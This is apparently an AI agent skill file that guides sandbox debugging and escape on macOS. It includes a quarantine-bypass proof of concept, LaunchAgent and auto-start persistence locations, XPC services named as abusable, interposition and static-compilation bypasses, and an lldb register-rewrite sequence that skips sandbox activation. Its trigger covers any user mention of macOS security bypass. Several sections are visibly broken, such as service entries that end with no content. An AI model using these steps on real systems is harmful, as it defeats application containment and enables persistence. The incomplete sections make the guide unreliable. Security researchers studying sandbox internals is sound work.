| name | macos-sandbox-debug-bypass |
| description | How to debug, analyze, and bypass macOS sandbox restrictions. Use this skill whenever the user mentions macOS sandbox, app-sandbox entitlement, sandbox escape, privilege escalation on macOS, debugging sandboxed processes, Mach services, XPC, quarantine attributes, or any macOS security bypass technique. This skill covers sandbox loading mechanisms, interposition techniques, lldb debugging workflows, Mach service abuse, and various bypass methods including quarantine attribute manipulation, LaunchAgent abuse, and static compilation bypasses. |
macOS Sandbox Debug & Bypass
A comprehensive guide to understanding, debugging, and bypassing macOS sandbox restrictions for security research and penetration testing.
When to Use This Skill
Use this skill when you need to:
- Debug sandboxed macOS applications
- Understand how macOS sandbox loading works
- Bypass sandbox restrictions for security testing
- Enumerate and abuse Mach services
- Work with quarantine attributes
- Use lldb to intercept sandbox initialization
- Create interposition libraries to prevent sandbox activation
Sandbox Loading Process
When an application with the com.apple.security.app-sandbox entitlement runs:
- The compiler links
/usr/lib/libSystem.B.dylib to the binary
libSystem.B calls functions until xpc_pipe_routine sends entitlements to securityd
securityd checks if the process should be quarantined in the Sandbox
- The sandbox activates via
__sandbox_ms which calls __mac_syscall
Bypass Techniques
1. Quarantine Attribute Bypass
Files created by sandboxed processes have a quarantine attribute. If you can create an .app folder without the quarantine attribute, you can escape:
mkdir -p /tmp/poc.app/Contents/MacOS
echo '#!/bin/bash
touch /tmp/sandbox-escaped' > /tmp/poc.app/Contents/MacOS/poc
chmod +x /tmp/poc.app/Contents/MacOS/poc
open /tmp/poc.app
CVE-2023-32364 demonstrated this technique by mounting to create an .app folder without quarantine.
2. LaunchAgent/Daemon Abuse
Sandboxed applications executed from LaunchAgents may bypass restrictions:
~/Library/LaunchAgents/com.example.malicious.plist
3. Auto Start Locations
Write binaries to locations where unsandboxed applications will execute them:
~/Library/LaunchAgents
/System/Library/LaunchDaemons
4. Mach Service Abuse
Sandboxed apps can communicate with certain Mach services via XPC. Check available services:
grep -A 5 "<string>System</string>" /System/Library/xpc/launchd.plist
grep -A 5 "<string>User</string>" /System/Library/xpc/launchd.plist
grep -A 5 "<string>Application</string>" /System/Library/xpc/launchd.plist
find /System/Library/Frameworks -name "*.xpc"
find /System/Library/PrivateFrameworks -name "*.xpc"
Known Abusable Services
storagekitfsrunner.xpc - Executes arbitrary commands:
AudioAnalyticsHelperService.xpc - Creates ZIP files (can bypass quarantine):
ShortcutsFileAccessHelper.xpc - Grants file access permissions:
5. Static Compilation Bypass
Since sandbox is applied when libSystem loads, avoid loading it:
- Static compilation: Binary doesn't need dynamic libraries
- No library dependencies: If linker isn't needed, libSystem won't load
6. Interposition Bypass
Interpose key functions to prevent sandbox activation:
Interpose _libsecinit_initializer
Interpose __mac_syscall
Debugging with LLDB
Setup a Sandboxed Test Application
cat > sand.c << 'EOF'
int main() {
system("cat ~/Desktop/del.txt");
}
EOF
cat > entitlements.xml << 'EOF'
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>com.apple.security.app-sandbox</key>
<true/>
</dict>
</plist>
EOF
cat > Info.plist << 'EOF'
<plist version="1.0">
<dict>
<key>CFBundleIdentifier</key>
<string>xyz.hacktricks.sandbox</string>
<key>CFBundleName</key>
<string>Sandbox</string>
</dict>
</plist>
EOF
gcc -Xlinker -sectcreate -Xlinker __TEXT -Xlinker __info_plist -Xlinker Info.plist sand.c -o sand
codesign -s <cert-name> --entitlements entitlements.xml sand
echo "Sandbox Bypassed" > ~/Desktop/del.txt
LLDB Debugging Workflow
lldb ./sand
(lldb) b xpc_pipe_routine
(lldb) r
(lldb) bt
(lldb) settings set target.max-string-summary-length 10000
(lldb) p (char *) xpc_copy_description($x1)
(lldb) register read x2
(lldb) finish
(lldb) memory read -f p <x2_value> -c 1
(lldb) p (char *) xpc_copy_description(<result>)
(lldb) breakpoint set --name __mac_syscall --condition '($x1 == 0)'
(lldb) c
(lldb) memory read -f s $x0
(lldb) breakpoint delete 1
(lldb) register write $pc 0x187659928
(lldb) register write $x0 0x00
(lldb) register write $x1 0x00
(lldb) register write $x16 0x17d
(lldb) c
Scripts
Use the bundled scripts for common tasks:
scripts/create_sandboxed_app.sh - Create a test sandboxed application
scripts/create_interpose_libsecinit.sh - Create interposition library for _libsecinit_initializer
scripts/create_interpose_mac_syscall.sh - Create interposition library for __mac_syscall
scripts/enumerate_mach_services.sh - Find available Mach services
scripts/lldb_sandbox_debug.sh - LLDB debugging workflow
Important Notes
- TCC Still Applies: Even with sandbox bypassed, TCC (Transparency, Consent, and Control) may still prompt for permissions
- Entitlements Matter: Some actions require specific entitlements even if sandbox allows them
- Not Inherited: New processes don't inherit entitlements or privileges from parent
- Shellcodes Need libSystem: Even ARM64 shellcodes must link with libSystem.dylib
References